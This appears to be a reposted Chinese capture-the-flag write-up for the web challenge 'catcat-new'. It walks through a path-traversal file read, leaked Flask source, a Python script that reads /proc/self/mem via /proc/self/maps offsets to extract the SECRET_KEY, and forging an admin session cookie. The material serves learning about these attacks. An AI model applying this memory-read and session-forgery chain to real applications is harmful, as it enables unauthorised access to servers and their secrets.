攻防世界-WEB-catcat-new

news2024/11/19 4:17:04

前言

..................

开干


正文

信息收集

有意思

估计是权限不够导致无法访问

我们点击几只小猫看看有什么东西

好的,?File=

试试看是否存在任意文件读取


思路

成功,接下来我们尝试获取历史记录

这里补充一下知识点

/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数

/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容

/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址

我们尝试访问app.py

那就能够确定该站是用flask框架搭建的站点

格式化一下

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat 
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

着重于关键处

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

第一段我们确定了flag,第二段我们知道了/admin确实有做限制,只有当session获取admin=1时才能获取flag

又因为flask存在session可以被伪造的问题,所以我们接下来要做的就是伪造session从而获取flag

讲一讲这方面的知识点

这位师傅的文章讲的挺详细的

Flask之session伪造_flask session伪造-CSDN博客


总之,伪造session最重要的前提是需要得到secret_key,我们可以从app.py中了解到secret_key的格式

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

然后我们还能够发现这个网页存在任意文件读取的原理

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/') # 使用os.listdir()获取'details/'目录下的所有文件名
 cats_list = []
 for i in detailtxt:# 遍历所有文件名
   cats_list.append(i[:i.index('.')])# 截取文件名直到遇到第一个'.'(即去除扩展名),并添加到cats_list中

 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")# 获取URL查询参数'file'的值,并拼接成完整文件路径
 start = request.args.get('start', "0")# 获取URL查询参数'start'的值,如果没有提供,则默认为"0"
 end = request.args.get('end', "0")# 同上,获取'end'参数的值
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 提取文件名(不包括扩展名)

 return render_template("detail.html", catname=name, info=cat(filename, start, end))

好的,不难发现,这里request有三个参数:start,end,file 还有调用cat方法

cat则是cat.py的东西

import os, sys, getopt


def cat(filename, start=0, end=0) -> bytes:
    data = b''

    try:
        start = int(start)
        end = int(end)

    except:
        start = 0
        end = 0

    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")

        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)

            else:
                data = f.read()

        else:
            data = f.read()

        f.close()

    else:
        data = ("File `%s` not exist or can not be read" % filename).encode()

    return data


if __name__ == '__main__':
    opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
    fileName = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name == '-h' or opt_name == '--help':
            print("[*] Help")
            print("-f --file   File name")
            print("-s --start   Start position")
            print("-e --end   End position")
            print("[*] Example of reading /etc/passwd")
            print("python3 cat.py -f /etc/passwd")
            print("python3 cat.py --file /etc/passwd")
            print("python3 cat.py -f /etc/passwd -s 1")
            print("python3 cat.py -f /etc/passwd -e 5")
            print("python3 cat.py -f /etc/passwd -s 1 -e 5")
            exit()

        elif opt_name == '-f' or opt_name == '--file':
            fileName = opt_value

        elif opt_name == '-s' or opt_name == '--start':
            start = opt_value

        elif opt_name == '-e' or opt_name == '--end':
            end = opt_value

    if fileName != "":
        print(cat(fileName, start, end))

    else:
        print("No file to read")

这个脚本主要功能就是文件读取,比如有一个1.txt,里面的内容有:12345678

使用python cay.py -f /路径/1.txt -s 1 -e 5,就会得到12345

不过这些并不能帮助我们找到secretkey,只是提供了可以利用的地方


对这方面熟悉的师傅们都知道,SECRET_KEY 并不存储在 session 数据中而是存储在服务器的内存中,作为 Flask 应用配置的一部分。这意味着,只要应用正在运行,SECRET_KEY 就会在内存中可用

但是我们直接访问/proc/self/mem是不可能的,所以我们直接访问/proc/self/maps获取可读内容的内存映射

好的,接下来把内容格式化存储一下

然后写个脚本获取堆栈分布

import re

maps = open('/路径/proc.txt')
for line in maps:
    a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)#本来用的findall,但是后面的start和end定义太麻烦了
    if a:
        start = int(a.group(1), 16)
        end = int(a.group(2), 16)
        print(f'addr:{start}-{end}')

接下来就可以直接读取mem对应位置的数据了

因为app.py定义了start和end,所以我们完全可以利用这一点

import requests
import re

maps = open('/路径/proc.txt')
for line in maps:
    a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)
    if a:
        start = int(a.group(1), 16)
        end = int(a.group(2), 16)
        print(f'addr:{start}-{end}')
        url = f"http://61.147.171.105:52267/info?file=../../../../proc/self/mem&start={start}&end={end}"
        b = requests.get(url)
        re1 = re.findall("[a-z0-9]{32}\*abcdefgh", b.text)#这里根据app.py中得出
        if re1:
            print(re1)


secret_key得到,接下来利用工具进行伪造

这里推荐

https://github.com/noraj/flask-session-cookie-manager/releases/tag/v1.2.1.1

我们先抓包随便拿一个session,然后放里面解密

然后使{'admin':1}

然后

成功


结尾

不难,但是很麻烦

求赞求关注,感谢

MQ4的其他文章:

BugKu-WEB-unserialize-Noteasy-CSDN博客

攻防世界-WEB-filemanager-CSDN博客

BugKu-new_php_bugku newphp-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1887850.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PDF文档如何统计字数,统计PDF文档字数的方法有哪些?

在平时使用pdf阅读或者是处理文档的时候,常常需要统计文档的字数。pdf在查看文字时其实很简单。 PDF文档是一种常见的电子文档格式,如果需要对PDF文档中的字数进行统计,可以使用以下方法: Adobe Acrobat DC:Adobe Ac…

Linux 防火墙开放端口

启动防火墙服务:systemctl start firewalld 查看防火墙开放端口 :firewall-cmd --list-ports 开放3306端口:firewall-cmd --zonepublic --add-port2375/tcp --permanent 防火墙重启:firewall-cmd --reload

html+css+js气球消除小游戏

气球消除小游戏 消除15个就成功 源码在图片后 点赞加关注&#xff0c;谢谢 左上角的数字显示消除气球的数量 定时随机生成气球 &#x1f388;&#x1f388;&#x1f388; 图片 源代码 <!DOCTYPE html> <html lang"en"> <head> <meta charset&…

2.3.2 主程序和外部IO交互 (文件映射方式)----IO Client实现

2.3.2 主程序和外部IO交互 &#xff08;文件映射方式&#xff09;----IO Client C实现 和IOServer主要差别&#xff1a; 1 使用Open_Client 连接 2 一定要先打开IOServer&#xff0c;再打开IO_Client 效果显示 1 C 代码实现 1.1 shareddataClient.h 头文件中引用 和sharedd…

0 TMS320F28379D 开坑

开坑原因 最近开始做实验&#xff0c;实验室的主控采用的是F2812FPGA&#xff0c;属于够用但不好用的状态。FPGA用于生成调制信号&#xff0c;DSP完成采样和控制。师兄师姐研究拓扑及调制策略&#xff0c;对驱动数量以及驱动逻辑有比较高的要求&#xff0c;因此不好脱离FPGA&a…

机器学习原理之 -- 支持向量机分类:由来及原理详解

支持向量机&#xff08;Support Vector Machine, SVM&#xff09;是统计学习理论的一个重要成果&#xff0c;广泛应用于分类和回归问题。SVM以其高效的分类性能和良好的泛化能力在机器学习领域中占据重要地位。本文将详细介绍支持向量机的由来、基本原理、构建过程及其优缺点。…

【Excel操作】Python Pandas判断Excel单元格中数值是否为空

判断Excel单元格中数值是为空&#xff0c;主要有下面两种方法&#xff1a; 1. pandas.isnull 2. pandas.isna判断Excel不为空&#xff0c;也有下面两种方法&#xff1a; 1. pandas.notna 2. pandas.notnull假设有这样一张Excel的表格 我们来识别出为空的单元格 import panda…

基于Hadoop平台的电信客服数据的处理与分析①项目准备阶段---项目技术预研(技术架构)

任务描述 掌握项目的总体功能&#xff0c;及实现流程。预习项目中所使用到的技术和知识点。 任务指导 一、项目效果展示 二、项目架构 1、总体架构&#xff1a; 2、技术架构 技术清单&#xff1a; 功能 组件 说明 消息中间件Kafka消息队列数据采集Flume日志采集工具存储…

js获取当前浏览器地址,ip,端口号等等

前言&#xff1a; js获取当前浏览器地址&#xff0c;ip&#xff0c;端口号等等 window.location属性查询 具体属性&#xff1a; 1、获取他的ip地址 window.location.hostname 2、获取他的端口号 window.location.port 3、获取他的全路径 window.location.origin 4、获取…

机器学习 C++ 的opencv实现SVM图像二分类的测试 (三)【附源码】

机器学习 C 的opencv实现SVM图像二分类的测试 (三) 数据集合下载地址&#xff1a;https://download.csdn.net/download/hgaohr1021/89506900 根据上节得到的svm.xml&#xff0c;测试结果为&#xff1a; #include <stdio.h> #include <time.h> #include <o…

25.labview数据采集中的读取和写入文本文件和Excel表格文件

①本文将会讲解labview读取和写入文本文件和Excel文件的几种不同方式&#xff0c;讲解程序的基本原理&#xff0c;并提出具体的实施方案&#xff0c;本文内容如下所示。 ②本文文章结束会提供大家 文本和表格读取写入的源程序 &#xff0c;以便于大家学习和使用。 本文中可能用…

商城小程序论文(设计)开题报告

一、课题的背景和意义 近些年来&#xff0c;随着移动互联网巅峰时期的来临&#xff0c;互联网产业逐渐趋于“小、轻、微”的方向发展&#xff0c;符合轻应用时代特点的各类技术受到了不同领域的广泛关注。在诸多产品中&#xff0c;被誉为“运行着程序的网站”之名的微信小程序…

HUAWEI MPLS 静态配置和动态LDP配置

MPLS(Multi-Protocol Label Switching&#xff0c;多协议标签交换技术)技术的出现&#xff0c;极大地推动了互联网的发展和应用。例如&#xff1a;利用MPLS技术&#xff0c;可以有效而灵活地部署VPN(Virtual Private Network&#xff0c;虚拟专用网)&#xff0c;TE(Traffic Eng…

昇思第7天

模型训练 模型训练一般分为四个步骤&#xff1a; 构建数据集。 定义神经网络模型。 定义超参、损失函数及优化器。 输入数据集进行训练与评估。 数据集加载 import mindspore from mindspore import nn # 从 MindSpore 数据集包中导入 vision 和 transforms 模块。 # visio…

肝癌-图像分类数据集

肝癌-图像分类数据集 数据集&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/18r-JS1FIv6BiyvlqDpUE0w?pwdrw5w 提取码&#xff1a;rw5w 数据集信息介绍&#xff1a; 文件夹 恶性 中的图片数量: 1008 文件夹 良性 中的图片数量: 882 所有子文件夹中的图片总数量: 1…

微软账户和本地账户有什么区别?如何切换登录账户?

Windows 操作系统是目前世界上比较流行的操作系统之一&#xff0c;在使用 Windows 系统的时候都需要我们进行登录&#xff0c;其中我们可以使用微软账户或者本地账户进行登录&#xff0c;那本地账户和微软账户有什么区别&#xff1f;下面就带大家了解一下微软账户和本地账户。 …

请不要在 Vue 中滥用“watch”功能,拜托了!

随着 Vue 3 的 Composition API 风格的普及&#xff0c;使用 watch 的成本越来越低。 现在&#xff0c;我们可以在任何地方使用 watch 来监听响应式数据。随着业务的推进&#xff0c;你可能会在代码中看到大量的 watch。 当你接手修改这些充满 watch 代码时&#xff0c;我相信…

电梯修理升级,安装【电梯节能】能量回馈设备

电梯修理升级&#xff0c;安装【电梯节能】能量回馈设备 1、节能率评估 15%—45% 2、降低机房环境温度&#xff0c;改善电梯控制系统的运行环境&#xff1b; 3、延长电梯使用寿命&#xff1b; 4、机房可以不需要使用空调等散热设备的耗电&#xff0c;间接节省电能。 欢迎私询哦…

使用PID算法实现DAC模拟量输出的快速调节

目录 概述 1 系统框架和算法 1.1 框架结构介绍 1.2 PID算法实现 1.2.1 理论介绍 1.2.2 离散化位置式PID 1.2.3 位置式PID算法 2 STM32Cube 配置项目 2.1 配置参数 2.2 GENERATE项目 3 功能实现 3.1 ADC采样数据功能 3.2 DAC数据转换 3.3 PID相关的调制函数 4 …

黄子韬vs徐艺洋卫生间风波

【热搜爆点】黄子韬VS徐艺洋&#xff1a;卫生间风波背后的职场与友情界限探讨在这个充满欢笑与意外的综艺时代&#xff0c;《跟我出游吧》再次以它独有的魅力&#xff0c;引爆了一个既尴尬又引人深思的话题——“黄子韬要上徐艺洋的卫生间&#xff1f;”这不仅仅是一句简单的调…